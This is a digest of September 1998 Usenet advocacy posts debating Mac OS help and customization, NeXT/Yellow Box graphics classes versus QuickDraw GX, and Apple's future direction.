I don't want eye candy, I want an elegant UI which will make those tasks which
I access the most frequently the most efficient to make use of. The Mac UI is
not that.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0609982205450001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Mon, 07 Sep 1998 01:57:00 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 18:57:00 PDT
In article <6suplu$rqm$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Lawson English <english@primenet.com> wrote:
> : John Heaney <heaney@SolidObject.com> said:
>
> : >I would prefer holding down the Control key while clicking on an iconic or
> : >textual representation of "command" and have that bring up a hyper linked
> : >system of navigating through all the related documentation. And then when
> : >I want to execute the command, I want the computer to lead me through all
> : >the steps, circling all the places I have to click with big red virtual
> : >ink. Lo and behold that's what I get with the Mac OS GUI.
>
> : But will it survive the transition to HTML-based help that MacOS 8.5
> : brings?
>
> I'd ask:
>
> Q1: Is "circling the right places" possible for more than the most common
> actions?
>
> Q2: Even if the help system could circle the right thing, wouldn't you
> like to know why?
I'd ask what is your point. I was simply saying that the GUI of the MacOS
provides a much more robust help system than the man pages mechanism of
unix every could. I'm not going to get into some debate about which help
system has better content. It's the systems themselves I was comparing.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 19:02:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2188CC5-28AFC@206.165.43.166>
References: <heaney-0609982205450001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
John Heaney <heaney@SolidObject.com> said:
>I'd ask what is your point. I was simply saying that the GUI of the MacOS
>provides a much more robust help system than the man pages mechanism of
>unix every could. I'm not going to get into some debate about which help
>system has better content. It's the systems themselves I was comparing.
>
But MY point is that the kind of help that YOU like is going away with the
next release of MacOS.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Sun, 06 Sep 1998 22:05:01 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-0609982205020001@elk66.dol.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74>
In article <B2187B86-2132B9@153.36.240.74>, "Wayne Fellows"
<wfellows@*stop_spam*earthlink.net> wrote:
> On Sun, Sep 6, 1998 7:21 PM, Steve Sullivan <mailto:macghod@concentric.net>
> wrote:
> >hmmm, I am not familiar with this. You can change every little thing?
> >what about big things, such as the menubar at the top? Can you customize
> >it so it is a replica of openstep 4.2 interface?
>
> Actually you can come close. You can designate the font, change the Apple
> picture, and add colors and textures to the menus. You can also change the
> shape of windowing elemends, so your desktop can look like pretty much
> anything. There are schemes for BeOS, NeXT, the game Fallout, a rusty
> boilerplate, anything you can think of. My personal favorite is Pussy
> Galore...
You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
not a piece of the OS you can't change.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Date: Sun, 06 Sep 1998 22:04:15 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-0609982204160001@elk66.dol.net>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142> <6su2uc$5mq$1@birch.prod.itd.earthlink.net> <kms-0609981137550001@dialinuser190.norfolk-county.com>
In article <kms-0609981137550001@dialinuser190.norfolk-county.com>,
kms@norfolk-county.com (K. Sebring) wrote:
> In article <6su2uc$5mq$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> <s124@[REMOVE]earthlink.net> wrote:
>
> >Wayne Fellows wrote in message ...
> >>On Sat, Sep 5, 1998 8:52 PM, MojiDoji <mailto:no-spam@one.net> wrote:
> >>>I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
> >>>should be placed between Linux and Windows.
> >>
> >>
> >>You folks don't seem to have much of a concept of Mac customizability. It
> >>blows away any OS except, perhapse, the various flavors of Unix.
> >
> >
> >Oh really? Can you give any examples?
>
> Tell me one thing that you can customize in WIndows. I'll tell you I can
> do it with the MacOS.
>
> Not to mention:
>
> Kaleidoscope. I can change *every little thing* about the appearance of
> the OS. If you don't believe me, i'll send you a screenshot that is an
> almost exact replica of Windows 95.
You're a glutton for punishment.
>
> AppleScript. I can automate practically *anything* I want to. That's
> customizability.
>
> Various other 3rd party extensions and control panels. Go do a search for
> Mac shareware. You'll find alot.
>
> Just take a look at the included control panels with the MacOS. Unlike
> Windows, which uses Control Panels for entering wads and wads of
> configuration strings, you can actually do things with CDEV's.
>
> There's also ALOT of things about the Finder that can be customized. If
> you REALLY want to hear them, email me. I'll find time.
>
> Hell, you want custom, straight out? I'll send you a screenshot of my
desktop.
>
> >
> >------------------------------
> >Todd
> >s124@earthlink.n*et
> >http://home.earthlink.net/~s124/
> >--
> >AOL IM: AAPLisDUMB; eatAPPLnow; iMac Hater.
> >--
> >ICQ: 14470496
> >--
> >Flames will be cheerfully returned to
> >sender----3,000,000 times.
> >-------------------------------
>
> --
> -----------------------
> kms@norfolk-county.com
> kmsmac on AIM
> ICQ #9251405
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 6 Sep 98 18:55:13 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2188FA4-337A1@206.165.43.166>
References: <6sva1t$12381@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
>From: Michelle L. Buck >Subject: File interchange formats
>Date: Sunday, September 06, 1998 4:26 PM
>Standard file interchange formats are a good thing!
>
>For the sake of future discussion we should all agree to the following
>statements:
>
>1) XML has a lot of promise and Microsoft is behind it. Of course, they
may
>find a way to make it proprietary and/or introduce so many bugs that the
>standard is useless for interchange (a la RTF).
>
>2) Openstep/Rhapsody already has an excellent standard format for binary
>archives of arbitrary graphs of objects. The NSCoder/NSArchiver classes
>handle all issues pertaining to circular references (cycles) and
conditional
>encodings and byte order and built in types.
>
>3) A variation of NSCoding that allows the use of UNICODE property
>identifiers enables the same archiving of arbitrary graphs of objects into
a
>human readable UNICODE file.
>
>4) A variation of NSCoding could produce XML documents.
>
>5) Anything that can be represented by a software object can have its
>representation stored/streamed with any of the NSCoding variations
>mentioned
>thus enabling persistence, transmission, and standard structure for an
open
>ended set of data.
>
>Now, specifically regarding graphical file interchange we should all agree
>with the following statements:
>
>1) The NSBezierPath class is capable of representing all 2D graphical
>shapes
>any reasonable person would create. Such shapes include text outlines,
>discontinuous shapes, open shapes, concave shapes, convex shapes, shapes
>with as few as one point, shapes with 100,000 points, shapes with
>quadratic
>bezier curves, etc. NSBezierPath encapsulates all vector image
>descriptions.
It handles NURBS ala QD3D and OpenGL?
>
>2) The NSImage class is capable of storing and rendering Tiff, EPS, PNG,
>BMP, and other image formats. NSImage inter-operates with an object
>framework that enables seamless automatic conversion of image formats
>as
>needed. NSImage encapsulates all raster image descriptions.
>
>3) The NSAffineTransormation class stores all possible affine
>transformations including any combination of translation, rotation, and
>scaling in any order. All possible 2D transformations are thus supported.
>NSAffineTransformation encapsulates all transformations of raster or
>vector
>image descriptions.
It supports
x' = x/(ux + vy + w), y' = y/(ux + vy + w)
also?
Reasonable people like to do things available in Illustrator, Freehand, and
apparently Adobe's K2.
NSAffineTransormation, by the definition of "affine," doesn't support
perspective or any other 3x3 transform that isn't affine.
Illustrator, Freehand and apparently Adobe's K2 DO support at least a
perspective transform applied to text. So does GX. Unlike the perspective
transform supported by Illustrator and Freehand, GX also supports *editing*
of text and graphics AFTER the transform has been applied. Most users
appreciate non-modal editing in a graphics app. Using the built-in graphics
of NeXT/YB, you can't do this. GX can. This could change with the simple
change of the graphics engine to allow 3x3 transforms.
>
>4) Any NSBezierPath or NSImage can be transformed into another
>NSBezierPath
>or NSImage via a NSAffineTransformation.
But not any image that has had a 3x3 perspective (or pseudo-perspective, or
the purists) applied to it. To do this you'd need a non-affine transform
and to make that useable, you'd need a graphics engine that already knows
about non-affine transforms. GX can do it. QUickTime can do it. Why can't
YB/ehanced QUickDraw?
>
>5) Any NSImage or NSBezierPath instance can be clipped by any
>NSBezierPath
>including text outlines.
But not with perspective applied. And if a "roll your own" perspective
transform is applied, no optimizations are possible at the graphics
primitive level because the graphics primitives don't know about it. No
built-in text hittesting works because your text graphics engine doesn't
know about it, either.
>
>6) The NSColor class encapsulates RGB, BW, BWA, RGBA, CMYK, HSB,
>Pantone, or
>custom color definitions. NSColor instances can represent multiple color
>spaces simultaneously (e.g. RGB and Pantone) and can convert form one
>color
>space to another with some limitations. Of special note is NSColor's
>handling of arbitrary transparency via an alpha channel. Any pixel in a
>NSImage and any NSBezierPath can be rendered with any NSColor.
Yep. But GX supports color space transformations on the source, destination
and result images in a single pass on a bitmap. Is this possible with
NSColor?
GX supports specifying transfer modes on a per-color channel basis,
including those applied to a bitmap. Does this work with the graphics
primitives supplied with enhanced QuickDraw/PDF/DPS?
>
>7) Any NSBezierPath can be rendered with any combination of shared or
>unique
>attributes including color, line style, line join, end cap, width, and
>others. Each attribute can be encapsulated in its own class.
Kool.
>
>8) NSBezierPaths can be joined, intersected, union-ed, xor-ed, overlapped,
>differenced, merged, whatever. Any path can be rendered along any other
>path. Text can be rendered along a path. Interesting line styles can be
>created by rendering a repeating pattern (a path) along a path. (Note:
>Apple has not promised this capability. However, my company has already
>produced the EBUserPath class with all of these capabilities, and so can
>Apple. Apple has already read our minds and copied our undo, document,
and
>ruler, classes. I suspect we have a mole in our organization ;-)
>
Kool. Does it support hit-testing of the internal pattern as opposed to the
path the pattern is embedded in?
>9) All coordinates are stored as 32 bit floats or 64 bit doubles and exist
>in a virtual coordinate system defined by a NSAffineTransformation. An
>identity transformation results in one unit length being equal to 1/72
inch.
>This provides device independence from rendering to film to rendering to
>billboards.
Kool. Of course, GX handled this also. Couldn't nest-embed EPS images
without possible loss of fidelity, of course.
>
>10) Users are free to create their own classes and make composites,
>collections, trees, or whatever out of the Apple provided classes. One
>example is an object that clips all of its nested children to a path.
>Another is an object that forces all of its children to render in black
and
>white regardless of their color preference. (Note: As currently
>implemented, binary encodings can not be reconstituted by programs that do
>not have access to the definitions of all classes encoded. [Otherwise the
>decoder does not know how many bytes to read] This is not a problem for
>ubiquitous Apple provided classes but is a problem for custom classes.
>Fortunately, the UNICODE encodings do not have this limitation.)
>
GX is a library with a set of predefined objects suitable for use with a
structured API. Not as nice in this respect, obviously.
>
>Now, taking both sets of statements, the following information can be
>deduced:
>
>1) Any graphical rendering of arbitrary complexity can be encoded into a
>binary or human readable UNICODE or XML data stream by any application
>and
>reconstituted in another application.
>
>2) Human readable UNICODE encodings can be parsed, edited, transformed,
>copied, scripted, and/or generated by any UNICODE capable text editor.
>
>3) Efficient binary encodings are available.
>
>4) Client/server systems that arbitrarily store information on the client
>side or the server side as desired are possible.
>
>5) Every Yellow Box application can have all drawing capabilities
discussed
>above.
>
>
>Final note:
>
>I have not even mentioned the NSText class cluster yet. Text flows, spell
>checking, find, replace, UNICODE, kerning, super/sub scripting, etc. are
all
>available.
>
Not surprising since the most advanced formatting capabilities, especially
those having to do with handling multiple languages, are based on GX...
>Best of all, these classes inter-operate, can be subclasses and
specialized,
>and co-exist with all of the non-graphical objects in an application. For
>example, NSBezierPath instances can be stored in an instance of
>EBBinaryTree
>or an instance of NSMutableArray or an instance of NSDictionary or all of
>the above simultaneously.
>
>All of the objects described above can be rendered into any NSView or any
>NSImage.
Howabout multiple views simultaneously, both on and offscreen?
>
>Really final note for Mr.. English. All of this has been possible since
>1988 with NeXTstep and in fact several of my our applications have taken
>advantage of it. The fact that Mr.. English has stated at one time or
>another that everything described above is not possible does not change
the
>facts.
Really? I said that there was no 2D transform available? I said that there
was no standard OOP container constructs available? BTW, I was under the
impression than the NS Bezier class and the geometric arithmetic
(union/intersection/etc) are new classes and were NOT part of the 1988
release. I'm also under the impression that much of teh above has evolved
over the last 10 years and that the current (4.2/pre-Apple) implementation
of most of these features is far beyond what was available in 1988.
The Fact that Mr.. English comments out of utter ignorance and still
>to this day has not bothered to check the facts or heaven forbid try to
use
>these features astonishes me.
Given my little dig at your hyperbole about how everything that you
described was available in 1988, why should your astonishment astonish me?
After typing all of this, I begin to wonder
>why I waste my time educating potential competitors.
Ah, but you've failed to address issues of handling pre-press in a rational
manner that incorporates the nested OOP structure of the average
drawing/painting/DTP app.
You also failed to mention that simple perspective is a hot new feature of
all the latest DTP drawing apps and apparently of the next-generation,
high-end page layout app from Adobe.
You've failed to address the current limitations of the NSColor object as
compared to the Ink object of GX. Certainly, as applied to bitmaps, the
Yellow Box color capability is inadequate when compared to GX's.
And so on.
Since my purpose is to educate, I'm willing to repeat myself.
I get the impression that rather than read what I write, you merely assume
that I never say anything of value and upchuck Mike Paquette's cutesy
little anti-lawson sig in your head whenever you see my name.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0609982224130001@24.0.246.137>
References: <heaney-0609982205450001@24.0.246.137> <B2188CC5-28AFC@206.165.43.166>
Organization: Solid Object Software
Date: Mon, 07 Sep 1998 02:15:28 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 19:15:28 PDT
In article <B2188CC5-28AFC@206.165.43.166>, "Lawson English"
<english@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> said:
>
> >I'd ask what is your point. I was simply saying that the GUI of the MacOS
> >provides a much more robust help system than the man pages mechanism of
> >unix every could. I'm not going to get into some debate about which help
> >system has better content. It's the systems themselves I was comparing.
> >
>
> But MY point is that the kind of help that YOU like is going away with the
> next release of MacOS.
Hey, I'm sorry about that, but when you pulled my quote to start this new
thread, you took it completely out of context. I was (incredible as this
sounds) participating in a CLI vs. GUI debate. You can't just hijack my
words and apply them to some other thread.
I mean, I do appreciate you starting a couple of new threads because they
had nothing to do Heidi, but...what the hay...the subject is back to Heidi
again. Oh well. Anyway, uh...the GUI is great and...uh...CLI sucks.
Yeah...whatever.
Cheers.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 7 Sep 1998 02:12:25 GMT
Organization: Idiom Communications
Message-ID: <6svfe9$dle$1@news.idiom.com>
References: <B2182238-5EFDA@206.165.43.134> <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6sva1t$12381@odie.mcleod.net>
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Cc: buck.erik@mcleod.net
"Michelle L. Buck" may or may not have said:
[snip]
-> 1) The NSBezierPath class is capable of representing all 2D graphical
shapes
-> any reasonable person would create.
I'm not sure that an *unreasonable* person could exceed its abilities,
either. Well, maybe if he wants to draw an image that includes NaN
coordinates.
-> NSBezierPath encapsulates all vector image descriptions.
Yeah. Actually, I'd say that the name is unfortunate, and that it should
have been called someting like "NSPath" or "NSDrawingPath".
[snip]
-> Really final note for Mr.. English. All of this has been possible since
-> 1988 with NeXTstep and in fact several of my our applications have taken
-> advantage of it.
Well, mostly. We didn't have NSBezierPath then, but it would have been
pretty easy to wrap up a postscript userpath in an object.
-> The fact that Mr.. English has stated at one time or another that
-> everything described above is not possible does not change the facts. The
-> Fact that Mr.. English comments out of utter ignorance and still to this
-> day has not bothered to check the facts or heaven forbid try to use these
-> features astonishes me. After typing all of this, I begin to wonder why I
-> waste my time educating potential competitors.
You don't actually consider Lawson a potential competitor, do you?
I mean, here's a guy who would insist on taking the Titanic on a voyage from
England, because it's the best damn ship there ever was, and it doesn't
matter that it sank, because anyone who doesn't agree that its worth the
money to re-float, repair, and re-fit her is an idiot, and he can prove that
jet aircraft are inferior because they can't float for extended periods of
time, and they can't be docked at New York's south street seaport. Besides,
the Titanic had a much better menu, and jet aircraft don't even *have*
lifeboats!
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 07 Sep 1998 10:27:42 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F3FB6E.DBD5A2FE@nstar.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com>
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NNTP-Posting-Date: 7 Sep 1998 02:24:21 GMT
Stephen Rea wrote:
> > I was about to say, "A computer isn't really like a car at all", but
> > then I realized that some people actually disagree.
>
> Thousands of complicated parts doing ghod know what, and no one cares how
> they work, just that they do.
>
> Yep, sounds pretty simillar.
No, it really doesn't. It's weird that you think so. Cars have thousands
of parts; computers have perhaps ten. Motherboard, case, power supply,
video card, monitor, hard drive, floppy drive, sound card, CD-ROM,
keyboard, mouse, processor, and memory. Okay, 13.
Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
Do you mean that you don't know what these parts do? You don't know how
they work?
MJP
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com>
Subject: Re: Adobe K2: Where's the Yellow Box?
Message-ID: <LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com>
Date: Mon, 07 Sep 1998 02:38:35 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 19:38:35 PDT
Organization: @Home Network
Jeezz, you nextstep people are so pompous and arrogant. Maybe if any of
you built something like K2, you would have room to talk. Nothing but talk
from yellow box programmers.....nothing but talk.
WillAdams wrote in message
<1998090617102500.NAA17594@ladder01.news.aol.com>...
>Adobe turned its back on the Yellow Box already--when they abandoned
>Illustrator 3.0.1 for NeXTstep and discontinued development of PhotoShop
for
>NeXTstep.
>
>K2 has been in development for a long while now, as a Mac application and
>presumably using whatever internal system they have for maintaining an
>application on two (or more) operating systems.
>
>I'd like to get excited about K2, since presumably it'll include Hermann
Zapf's
>HZ hyphenation & justification and linebreaking algorithm (developed by
URW),
>but, it's all such a small improvement over what NeXTstep already offers
that
>I'm finding it hard to care less.
>
>At least with TeX, I can get the source code and be certain of being able
to
>use the tool on the platform of my choice.
>
>William
>
>
>William Adams
>http://members.aol.com/willadams
>Sphinx of black quartz, judge my vow.
>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: New help in MacOS 8.5 and X (was Re: Heidi on Heidi (Was...
Date: 7 Sep 1998 03:12:23 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sviun$284@newsb.netnews.att.com>
References: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org> <B2182199-5CA62@206.165.43.134>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>
>Have you ever trained an new iMac user to use the computer. I haven't yet,
>but I've trained hundreds of newbie oldMac users and a lot of them are so
>afraid of the computer that even with the big red circle, they are afraid
>to do what the help-screen says without some hand-holding at first.
I was in a CompUSA today, and stopped by the iMac. One lady, somewhat
frustrated, was trying to get out of the little iMac promotional QT movie,
to look at some of the installed software, but couldn't figure it out.
There was a volunteer there, who showed her the Command-Q key combination.
I don't think the prospective iMac customer was particularly thrilled,
rather somewhat irritated. I think it was this kind of arcane stuff that
she wanted to get away from. What would it cost to put a "Quit" button
somewhere on the screen ? Anyway, the prospective then entered into a game
that was on the machine, similar problem, no clear way to quit.
( Of course, people should learn these things if they want to use a
computer -- low-brows who don't think life is meant to memorize key
combinations need not apply.) A well-designed interface, (e.g, Virtual PC)
tells you how to get back to "normal" before it goes full-screen.
Another reasonable one, JPEGView, toggles the menubar on a mouse click,
when it goes full screen. Apple's promotional video ought to do so as well.
I think the really neat thing will be if Apple successfully puts the power
of a UNIX-class OS into the hands of the people. Apple can do so, but only if
it doesn't forget that it is meant to be the computer for the rest of us.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 7 Sep 1998 03:23:35 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6svjjn$28f@newsb.netnews.att.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35F03240.EFCA4EBD@ericsson.com> <6stdr0$919$1@msunews.cl.msu.edu>
Originator: gupta@tlctest
In a world where adding Carbon to the mix and renaming it MacOS X
was seen as the death of the Yellow Box and Rhapsody; and where
Apple already has a reputation of abrupt stomach-churning swerves,
I hope Apple considers all your excellent suggestions after making
sure MacOS X is delivered on time. Maybe the future is Linux,
but do you think Apple can survive yet another change in direction ?
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 6 Sep 98 20:46:43 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B218A53B-2E578@206.165.43.187>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
> "Michelle L. Buck" may or may not have said:
>[snip]
>-> 1) The NSBezierPath class is capable of representing all 2D graphical
>shapes
>-> any reasonable person would create.
>
>I'm not sure that an *unreasonable* person could exceed its abilities,
>either. Well, maybe if he wants to draw an image that includes NaN
>coordinates.
>
>-> NSBezierPath encapsulates all vector image descriptions.
>
>Yeah. Actually, I'd say that the name is unfortunate, and that it should
>have been called someting like "NSPath" or "NSDrawingPath".
>
>[snip]
>
>-> Really final note for Mr.. English. All of this has been possible
since
>-> 1988 with NeXTstep and in fact several of my our applications have
>taken
>-> advantage of it.
>
>Well, mostly. We didn't have NSBezierPath then, but it would have been
>pretty easy to wrap up a postscript userpath in an object.
And you'd be able to extract all the info that NSBezierPath currrently
encapsulates and use it "pretty easily" via postscript wrappers?
What about the geometric operators like union, intersection, Difference,
ReverseDifference, etc? Those would be "pretty easy" to implement using
wrappers to postscript operators?
And, since we're talking about how easy it would be to implement all the
current features of the latest version of NSText, how about them trivial
things like strings of multiple languages with multiple line directions
with context-sensitive formatting ala AATSUI?
The 1988 version of the libraries handled those well enough that any lacks
could have been added "pretty easily" by any ole 3rd party?
This NeXT thing is obviously a religion. Any genuine difference in
capabilities between GX and DPS/YB/EQD/whatever_NeXT_Did is dismissed as
being a delusion on my part or as so trivial that anyone could do in a few
weeks using IB.
For example, you and Michelle didn't address my point about the need for
perspectivized text in any new DTP app. That capability IS already in
Illustrator and Freehand, but you can't edit it. This makes editing text a
several step, modal operation. This is generally considered a Bad Thing in
computer human interface circles.
Unless it's how NeXT does it, I suppose. The fact that GX does it while
NeXT doesn't means that GX is *inferior* to NeXT. [they're correct: I
**AM** an idiot! How could I have possibly missed this simple fact: if GX
does it while NeXT doesn't, it simply proves that GX is inferior in some
weird logic understood only by the Chosen Few].
Let's look at GX's color capabilities. There's not just transparencies
available, but per-color-channel manipulations of text and vector graphics
AND bitmaps. That's right, you can apply a different transfer mode to each
color channel of an image when drawing a bitmap and apply a different color
space matrix to each image on-the-fly, using one step. In GX. But in the
Yellow Box or "'enhanced' QuickDraw?" Nope, or at least, that is my
*current* understanding. I'm often (*ALWAYS* to listen to some people)
wrong and, unlike some people, I *DO* listen and attempt to learn (although
whether or not I DO learn IS subject to debate) rather than insult, so if
anyone can tell me how to accomplish a QuickTIme Vector-like
Ink-object-like task on a bitmap using the built-in primitives of MacOS X,
in a single pass, I'd be happy to stand corrected.
That's right: if I'm wrong, I'll admit to it. Sometimes it takes a few
repeats for the info to sink in, but...
Now, let's look at these claims in more depth [pun intended]:
> The NSBezierPath class is capable of representing all 2D graphical
>shapes any reasonable person would create.NSBezierPath produces all
Yes, so does the quadratic beziers of GX. So does MoveTo/LineTo. So does
"PlotPixel."
However, the key phrase is "reasonable." Is it reasonable to expect people
to want to do 2D NURBS? I don't know. Is it reasonable for people to want
to apply 3D perspective to text? I think it is and so does Adobe.
Is it reasonable to want to do this with other shape-types? I think it is
and so does Adobe.
Is it reasonable to want to edit these shapes in-place? I think it is, but
Adobe apparently disagrees. Most DTP folk that I've spoken to who want to
use 3D perspective would *prefer* to be able to edit it in-place. Is it a
big deal? Maybe or maybe not, but since most people who like to apply an
effect like to be able to edit the effect without running through hoops, I
think that the capability should be in the MacOS X native graphics. Do you
disagree?
I guess the most important issue is this:
is it reasonable to want to have what is *ALREADY* available in MacOS 8,
available in MacOS X in such a way that it can be integrated with the rest
of MacOS X graphics?
As it stands now, not only will some of the capabilities of GX not be
available in integrated form with MacOS X graphics (eQD *or* Yellow Box),
but you won't be able to use them outside the Blue Box.
If it were merely a matter of accomplishing the same thing using a
different API or strategy, that would be one thing, but when modern
capabilities (e.g. 3D perspective on text) are simply ignored or explained
away with "who needs it?" or "we'll do something better in the
ultra-high-end library which no word-processor will ever touch," I get
annoyed.
3D perspective is no longer a trivial add-on. It is part of the mainstream
of desktop publishing and SHOULD be the mainstream of editable text -even
the text-handling found in $10 shareware HyperCard stacks that won't run
in the next-generation OS.
one-pass manipulation of the pixels of a bitmap is not a luxary any more. I
suppose that you could load in the QuickTime image library and use its
capabilities (when/if they get a bitmap shape working in QT vectors), but
that is STILL klunky in my eyes, and I'll bet in the eyes of "any
reasonable person."
And that useless $10 shareware HyperCard stack that won't run in the
next-generation OS will do this also. But it can't be important. If it
were, NeXT developers would have added it in a few weeks using Interface
Builder. Since they didn't do it, it wasn't because it was unreasonably
difficult to add the ability to edit all the world's text after a 3D
perspective, because no-one in their right mind would ever want to apply a
simple perspective transform (100% accurate or not) to a bit of text in a
DTP app.
Except Adobe and Macromedia, of course, and they don't count because no-one
uses their products for DTP because they support features not found in the
default graphics engine of MacOS X.
And if they WERE useful, they would have been found in NeXTstep 10 years
ago, or would have been added by a third party in a few weeks using
Interface Builder. Or maybe I'm misinterpreting the phrase "pretty easy?"
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 20:48:28 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B218A5A5-2FE3E@206.165.43.187>
References: <heaney-0609982224130001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
>Hey, I'm sorry about that, but when you pulled my quote to start this new
>thread, you took it completely out of context. I was (incredible as this
>sounds) participating in a CLI vs. GUI debate. You can't just hijack my
>words and apply them to some other thread.
But *I* was pointing out that te next generation MacOS no longer does what
you like.
Fact is that after the release of MacOS 8.5, you won't be able to brag
about AppleGuide.
So what you like goes away and the CLI folk win.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 20:51:22 -0700
